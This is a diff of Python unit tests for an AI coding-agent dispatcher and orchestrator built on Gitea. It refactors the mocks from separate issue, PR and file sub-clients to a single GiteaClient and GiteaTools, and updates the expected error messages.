work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -491,21 +408,20 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
|
|||||||
mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
|
mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
|
||||||
|
|
||||||
# Verify WIP PR creation and starting comment
|
# Verify WIP PR creation and starting comment
|
||||||
mock_client.prs.create_pull_request.assert_called_once_with(
|
mock_client.create_pull_request.assert_called_once_with(
|
||||||
"meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
|
"meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
|
||||||
)
|
)
|
||||||
mock_client.issues.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
|
mock_client.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
|
||||||
|
|
||||||
|
|
||||||
@patch("subprocess.run")
|
@patch("subprocess.run")
|
||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# Existing WIP PR addressing issue #42
|
# Existing WIP PR addressing issue #42
|
||||||
wip_pr = PullRequestModel(
|
wip_pr = PullRequestModel(
|
||||||
@@ -514,14 +430,14 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
|||||||
state="open",
|
state="open",
|
||||||
head={"ref": "fix/issue-42-add-x"}
|
head={"ref": "fix/issue-42-add-x"}
|
||||||
)
|
)
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = [wip_pr]
|
mock_client.list_repo_pull_requests.return_value = [wip_pr]
|
||||||
mock_client.prs.get_pr_reviews.return_value = []
|
mock_client.get_pr_reviews.return_value = []
|
||||||
|
|
||||||
mock_client.issues.get_issue_comments.return_value = [
|
mock_client.get_issue_comments.return_value = [
|
||||||
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
||||||
_make_comment("michael", "looks good, go ahead")
|
_make_comment("michael", "looks good, go ahead")
|
||||||
]
|
]
|
||||||
mock_client.prs.get_pull_request_comments.return_value = []
|
mock_client.get_pull_request_comments.return_value = []
|
||||||
|
|
||||||
# Mock planning agent deciding EXECUTE_PLAN
|
# Mock planning agent deciding EXECUTE_PLAN
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -532,13 +448,7 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
|||||||
# Mock coding agent executing plan
|
# Mock coding agent executing plan
|
||||||
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
|
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -552,15 +462,14 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
|||||||
assert results[0] == "PR Updated Successfully."
|
assert results[0] == "PR Updated Successfully."
|
||||||
|
|
||||||
# Ensure create_pull_request was NOT called since it already exists
|
# Ensure create_pull_request was NOT called since it already exists
|
||||||
mock_client.prs.create_pull_request.assert_not_called()
|
mock_client.create_pull_request.assert_not_called()
|
||||||
|
|
||||||
|
|
||||||
async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# PR authored by michael, requested reviewers is empty (agent not requested)
|
# PR authored by michael, requested reviewers is empty (agent not requested)
|
||||||
pr_detail = PullRequestModel(
|
pr_detail = PullRequestModel(
|
||||||
@@ -570,15 +479,9 @@ async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
|||||||
user=UserModel(login="michael"),
|
user=UserModel(login="michael"),
|
||||||
requested_reviewers=[]
|
requested_reviewers=[]
|
||||||
)
|
)
|
||||||
mock_client.prs.get_pull_request.return_value = pr_detail
|
mock_client.get_pull_request.return_value = pr_detail
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="pr",
|
task_type="pr",
|
||||||
@@ -610,13 +513,12 @@ def test_coordinator_tools_registration() -> None:
|
|||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.issues.get_issue_comments.return_value = []
|
mock_client.get_issue_comments.return_value = []
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# Mock agent invoking propose_plan tool
|
# Mock agent invoking propose_plan tool
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -627,13 +529,7 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -645,7 +541,7 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
||||||
mock_client.issues.add_comment.assert_called_once_with(
|
mock_client.add_comment.assert_called_once_with(
|
||||||
"meeks",
|
"meeks",
|
||||||
"repo1",
|
"repo1",
|
||||||
42,
|
42,
|
||||||
@@ -654,22 +550,15 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
|||||||
|
|
||||||
|
|
||||||
async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
# Mock return values for methods called prior to the isinstance check
|
# Mock return values for methods called prior to the isinstance check
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.issues.get_issue_comments.return_value = []
|
mock_client.get_issue_comments.return_value = []
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
|
|
||||||
# 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
|
# 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
|
||||||
work_item_invalid_issue = WorkItem(
|
work_item_invalid_issue = WorkItem(
|
||||||
@@ -699,20 +588,13 @@ async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
|||||||
|
|
||||||
|
|
||||||
async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.repos = MagicMock()
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
mock_tools: MagicMock = MagicMock()
|
|
||||||
|
|
||||||
# Simulate get_authenticated_user returning None
|
# Simulate get_authenticated_user returning None
|
||||||
mock_client.repos.get_authenticated_user.return_value = None
|
mock_client.get_authenticated_user.return_value = None
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
client=mock_client,
|
|
||||||
issue_tools=MagicMock(),
|
|
||||||
pr_tools=MagicMock(),
|
|
||||||
file_tools=MagicMock(),
|
|
||||||
git_tools=MagicMock(),
|
|
||||||
)
|
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -725,7 +607,7 @@ async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
|||||||
await dispatcher.dispatch("meeks/repo1", [work_item])
|
await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
|
|
||||||
# Simulate get_authenticated_user raising an Exception
|
# Simulate get_authenticated_user raising an Exception
|
||||||
mock_client.repos.get_authenticated_user.side_effect = Exception("API error")
|
mock_client.get_authenticated_user.side_effect = Exception("API error")
|
||||||
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
||||||
await dispatcher.dispatch("meeks/repo1", [work_item])
|
await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
|
|
||||||
|
|||||||
@@ -37,8 +37,7 @@ def test_get_file_content_failure() -> None:
|
|||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||||
assert "Could not retrieve file" in res
|
assert "Error getting file content: API Error" in res
|
||||||
assert "path/to/file" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_with_ref_string_success() -> None:
|
def test_get_file_content_with_ref_string_success() -> None:
|
||||||
@@ -74,8 +73,7 @@ def test_get_file_content_with_ref_failure() -> None:
|
|||||||
res: str = file_tools.get_file_content_with_ref(
|
res: str = file_tools.get_file_content_with_ref(
|
||||||
"owner", "repo", "path/to/file", "main"
|
"owner", "repo", "path/to/file", "main"
|
||||||
)
|
)
|
||||||
assert "Could not retrieve file" in res
|
assert "Error getting file content: API Error" in res
|
||||||
assert "path/to/file" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_commit_file_success() -> None:
|
def test_commit_file_success() -> None:
|
||||||
@@ -100,8 +98,7 @@ def test_commit_file_failure() -> None:
|
|||||||
res: str = file_tools.commit_file(
|
res: str = file_tools.commit_file(
|
||||||
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
)
|
)
|
||||||
assert "Could not commit file" in res
|
assert "Error committing file: API Error" in res
|
||||||
assert "path/to/file" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_update_file_success() -> None:
|
def test_update_file_success() -> None:
|
||||||
@@ -126,34 +123,4 @@ def test_update_file_failure() -> None:
|
|||||||
res: str = file_tools.update_file(
|
res: str = file_tools.update_file(
|
||||||
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
)
|
)
|
||||||
assert "Could not update file" in res
|
assert "Error updating file: API Error" in res
|
||||||
assert "path/to/file" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_uses_local_file_when_available(tmp_path: str) -> None:
|
|
||||||
import os
|
|
||||||
|
|
||||||
mock_client = _create_mock_client()
|
|
||||||
|
|
||||||
repo_dir = tmp_path / "owner" / "repo"
|
|
||||||
repo_dir.mkdir(parents=True)
|
|
||||||
file_path = repo_dir / "path" / "to" / "file"
|
|
||||||
file_path.parent.mkdir(parents=True)
|
|
||||||
file_path.write_text("local file content")
|
|
||||||
|
|
||||||
file_tools = FileTools(mock_client, str(tmp_path))
|
|
||||||
res = file_tools.get_file_content("owner", "repo", "path/to/file")
|
|
||||||
assert res == "1: local file content"
|
|
||||||
mock_client.files.get_file_content.assert_not_called()
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_falls_back_to_api_when_no_local(tmp_path: str) -> None:
|
|
||||||
mock_client = _create_mock_client()
|
|
||||||
mock_client.files.get_file_content.return_value = "api content"
|
|
||||||
|
|
||||||
file_tools = FileTools(mock_client, str(tmp_path))
|
|
||||||
res = file_tools.get_file_content("owner", "repo", "path/to/file")
|
|
||||||
assert res == "1: api content"
|
|
||||||
mock_client.files.get_file_content.assert_called_once_with(
|
|
||||||
"owner", "repo", "path/to/file"
|
|
||||||
)
|
|
||||||
|
|||||||
+13
-22
@@ -20,11 +20,11 @@ def test_get_issue_success() -> None:
|
|||||||
mock_client.issues.get_issue.return_value = issue
|
mock_client.issues.get_issue.return_value = issue
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: IssueModel = issue_tools.get_issue("owner", "repo", 1)
|
res: str = issue_tools.get_issue("owner", "repo", 1)
|
||||||
|
|
||||||
assert isinstance(res, IssueModel)
|
data: dict[str, Any] = json.loads(res)
|
||||||
assert res.number == 1
|
assert data["number"] == 1
|
||||||
assert res.title == "Test Issue"
|
assert data["title"] == "Test Issue"
|
||||||
mock_client.issues.get_issue.assert_called_once_with("owner", "repo", 1)
|
mock_client.issues.get_issue.assert_called_once_with("owner", "repo", 1)
|
||||||
|
|
||||||
|
|
||||||
@@ -33,11 +33,8 @@ def test_get_issue_failure() -> None:
|
|||||||
mock_client.issues.get_issue.side_effect = Exception("API Error")
|
mock_client.issues.get_issue.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
try:
|
res: str = issue_tools.get_issue("owner", "repo", 1)
|
||||||
issue_tools.get_issue("owner", "repo", 1)
|
assert "Error getting issue: API Error" in res
|
||||||
assert False, "Expected Exception"
|
|
||||||
except Exception as e:
|
|
||||||
assert str(e) == "API Error"
|
|
||||||
|
|
||||||
|
|
||||||
def test_close_issue_success() -> None:
|
def test_close_issue_success() -> None:
|
||||||
@@ -56,8 +53,7 @@ def test_close_issue_failure() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.close_issue("owner", "repo", 1)
|
res: str = issue_tools.close_issue("owner", "repo", 1)
|
||||||
assert "Could not close issue" in res
|
assert "Error closing issue: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_get_issue_comments_success() -> None:
|
def test_get_issue_comments_success() -> None:
|
||||||
@@ -78,8 +74,7 @@ def test_get_issue_comments_failure() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
|
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
|
||||||
assert "Could not retrieve comments" in res
|
assert "Error getting issue comments: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_list_assigned_issues_success() -> None:
|
def test_list_assigned_issues_success() -> None:
|
||||||
@@ -122,7 +117,7 @@ def test_list_issues_empty() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.list_issues("owner", "repo")
|
res: str = issue_tools.list_issues("owner", "repo")
|
||||||
assert res == "No open issues in owner/repo."
|
assert res == "No issues in owner/repo."
|
||||||
|
|
||||||
|
|
||||||
def test_list_issues_failure() -> None:
|
def test_list_issues_failure() -> None:
|
||||||
@@ -131,8 +126,7 @@ def test_list_issues_failure() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.list_issues("owner", "repo")
|
res: str = issue_tools.list_issues("owner", "repo")
|
||||||
assert "Could not list issues" in res
|
assert "Error listing issues: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_create_issue_success() -> None:
|
def test_create_issue_success() -> None:
|
||||||
@@ -156,8 +150,7 @@ def test_create_issue_failure() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.create_issue("owner", "repo", "Title", "Body")
|
res: str = issue_tools.create_issue("owner", "repo", "Title", "Body")
|
||||||
assert "Could not create issue" in res
|
assert "Error creating issue: API Error" in res
|
||||||
assert "Title" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_add_label_to_issue_success() -> None:
|
def test_add_label_to_issue_success() -> None:
|
||||||
@@ -175,8 +168,7 @@ def test_add_label_to_issue_failure() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
|
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
|
||||||
assert "Could not add label" in res
|
assert "Error adding label to issue #1: API Error" in res
|
||||||
assert "bug" in res
|
|
||||||
|
|
||||||
|
|
||||||
def test_add_comment_to_issue_success() -> None:
|
def test_add_comment_to_issue_success() -> None:
|
||||||
@@ -194,5 +186,4 @@ def test_add_comment_to_issue_failure() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
|
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
|
||||||
assert "Could not add comment" in res
|
assert "Error adding comment to issue #1: API Error" in res
|
||||||
assert "owner/repo" in res
|
|
||||||
|
|||||||
+7
-3
@@ -8,9 +8,11 @@ pytestmark = pytest.mark.anyio
|
|||||||
@patch("main.load_dotenv")
|
@patch("main.load_dotenv")
|
||||||
@patch("main.os.chdir")
|
@patch("main.os.chdir")
|
||||||
@patch("main.GiteaClient")
|
@patch("main.GiteaClient")
|
||||||
|
@patch("main.GiteaTools")
|
||||||
@patch("main.AgentOrchestrator")
|
@patch("main.AgentOrchestrator")
|
||||||
async def test_main_startup_success(
|
async def test_main_startup_success(
|
||||||
mock_orchestrator_class: MagicMock,
|
mock_orchestrator_class: MagicMock,
|
||||||
|
mock_tools_class: MagicMock,
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock,
|
||||||
mock_chdir: MagicMock,
|
mock_chdir: MagicMock,
|
||||||
mock_load_dotenv: MagicMock
|
mock_load_dotenv: MagicMock
|
||||||
@@ -19,7 +21,7 @@ async def test_main_startup_success(
|
|||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.login = "agent-test"
|
mock_user.login = "agent-test"
|
||||||
mock_client.repos.get_authenticated_user.return_value = mock_user
|
mock_client.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
mock_orchestrator = MagicMock()
|
mock_orchestrator = MagicMock()
|
||||||
mock_orchestrator.poll_and_dispatch = AsyncMock(side_effect=KeyboardInterrupt())
|
mock_orchestrator.poll_and_dispatch = AsyncMock(side_effect=KeyboardInterrupt())
|
||||||
@@ -28,16 +30,18 @@ async def test_main_startup_success(
|
|||||||
# Run main; it should exit gracefully on KeyboardInterrupt
|
# Run main; it should exit gracefully on KeyboardInterrupt
|
||||||
await main()
|
await main()
|
||||||
|
|
||||||
mock_client.repos.get_authenticated_user.assert_called_once()
|
mock_client.get_authenticated_user.assert_called_once()
|
||||||
mock_orchestrator.poll_and_dispatch.assert_called_once()
|
mock_orchestrator.poll_and_dispatch.assert_called_once()
|
||||||
|
|
||||||
|
|
||||||
@patch("main.load_dotenv")
|
@patch("main.load_dotenv")
|
||||||
@patch("main.os.chdir")
|
@patch("main.os.chdir")
|
||||||
@patch("main.GiteaClient")
|
@patch("main.GiteaClient")
|
||||||
|
@patch("main.GiteaTools")
|
||||||
@patch("main.AgentOrchestrator")
|
@patch("main.AgentOrchestrator")
|
||||||
async def test_main_startup_fails_no_authenticated_user(
|
async def test_main_startup_fails_no_authenticated_user(
|
||||||
mock_orchestrator_class: MagicMock,
|
mock_orchestrator_class: MagicMock,
|
||||||
|
mock_tools_class: MagicMock,
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock,
|
||||||
mock_chdir: MagicMock,
|
mock_chdir: MagicMock,
|
||||||
mock_load_dotenv: MagicMock
|
mock_load_dotenv: MagicMock
|
||||||
@@ -45,7 +49,7 @@ async def test_main_startup_fails_no_authenticated_user(
|
|||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
# Simulate no user returned
|
# Simulate no user returned
|
||||||
mock_client.repos.get_authenticated_user.return_value = None
|
mock_client.get_authenticated_user.return_value = None
|
||||||
|
|
||||||
with pytest.raises(SystemExit) as exc_info:
|
with pytest.raises(SystemExit) as exc_info:
|
||||||
await main()
|
await main()
|
||||||
|
|||||||
+22
-19
@@ -4,6 +4,8 @@ import pytest
|
|||||||
from unittest.mock import MagicMock, AsyncMock, patch
|
from unittest.mock import MagicMock, AsyncMock, patch
|
||||||
|
|
||||||
from core.orchestrator import AgentOrchestrator
|
from core.orchestrator import AgentOrchestrator
|
||||||
|
from gitea.client import GiteaClient
|
||||||
|
from gitea.tools.gitea_tools import GiteaTools
|
||||||
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
|
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
|
||||||
|
|
||||||
pytestmark = pytest.mark.anyio
|
pytestmark = pytest.mark.anyio
|
||||||
@@ -28,17 +30,16 @@ async def test_poll_and_dispatch_no_notifications(
|
|||||||
temp_state_file: Path
|
temp_state_file: Path
|
||||||
) -> None:
|
) -> None:
|
||||||
mock_get_path.return_value = temp_state_file
|
mock_get_path.return_value = temp_state_file
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock(spec=GiteaClient)
|
||||||
|
mock_tools = MagicMock(spec=GiteaTools)
|
||||||
|
|
||||||
# Return no notifications
|
# Return no notifications
|
||||||
mock_client.notifications.list_unread_notifications.return_value = []
|
mock_client.list_unread_notifications.return_value = []
|
||||||
|
|
||||||
orchestrator = AgentOrchestrator(
|
orchestrator = AgentOrchestrator(mock_client, mock_tools)
|
||||||
mock_client, MagicMock(), MagicMock(), MagicMock(), MagicMock()
|
|
||||||
)
|
|
||||||
await orchestrator.poll_and_dispatch()
|
await orchestrator.poll_and_dispatch()
|
||||||
|
|
||||||
mock_client.notifications.list_unread_notifications.assert_called_once_with(since=None)
|
mock_client.list_unread_notifications.assert_called_once_with(since=None)
|
||||||
assert not temp_state_file.exists()
|
assert not temp_state_file.exists()
|
||||||
|
|
||||||
|
|
||||||
@@ -66,7 +67,8 @@ async def test_poll_and_dispatch_with_notifications(
|
|||||||
return "Decided"
|
return "Decided"
|
||||||
mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
|
mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
|
||||||
mock_notification_reader_class.return_value = mock_reader
|
mock_notification_reader_class.return_value = mock_reader
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock(spec=GiteaClient)
|
||||||
|
mock_tools = MagicMock(spec=GiteaTools)
|
||||||
|
|
||||||
# Set up mock Gitea notifications
|
# Set up mock Gitea notifications
|
||||||
notifications = [
|
notifications = [
|
||||||
@@ -97,14 +99,13 @@ async def test_poll_and_dispatch_with_notifications(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
mock_client.notifications.list_unread_notifications.return_value = notifications
|
mock_client.list_unread_notifications.return_value = notifications
|
||||||
|
|
||||||
# Mock issue and PR get methods on client
|
# Mock issue and PR get methods
|
||||||
issue_model = IssueModel(number=42, title="Bug issue", repository=RepositoryModel(name="repo1", full_name="meeks/repo1"))
|
issue_model = IssueModel(number=42, title="Bug issue", repository=RepositoryModel(name="repo1", full_name="meeks/repo1"))
|
||||||
pr_model = PullRequestModel(number=10, title="Fix PR", repository=RepositoryModel(name="repo1", full_name="meeks/repo1"))
|
pr_model = PullRequestModel(number=10, title="Fix PR", repository=RepositoryModel(name="repo1", full_name="meeks/repo1"))
|
||||||
|
mock_client.get_issue.return_value = issue_model
|
||||||
mock_client.issues.get_issue.return_value = issue_model
|
mock_client.get_pull_request.return_value = pr_model
|
||||||
mock_client.prs.get_pull_request.return_value = pr_model
|
|
||||||
|
|
||||||
# Mock dispatcher and workspace path
|
# Mock dispatcher and workspace path
|
||||||
mock_dispatcher_instance = MagicMock()
|
mock_dispatcher_instance = MagicMock()
|
||||||
@@ -116,13 +117,15 @@ async def test_poll_and_dispatch_with_notifications(
|
|||||||
mock_workspace_class.return_value = mock_workspace_instance
|
mock_workspace_class.return_value = mock_workspace_instance
|
||||||
|
|
||||||
# Create orchestrator and poll
|
# Create orchestrator and poll
|
||||||
orchestrator = AgentOrchestrator(
|
orchestrator = AgentOrchestrator(mock_client, mock_tools)
|
||||||
mock_client, MagicMock(), MagicMock(), MagicMock(), MagicMock()
|
|
||||||
)
|
|
||||||
await orchestrator.poll_and_dispatch()
|
await orchestrator.poll_and_dispatch()
|
||||||
|
|
||||||
# Assert notifications were checked with None (first execution)
|
# Assert notifications were checked with None (first execution)
|
||||||
mock_client.notifications.list_unread_notifications.assert_called_once_with(since=None)
|
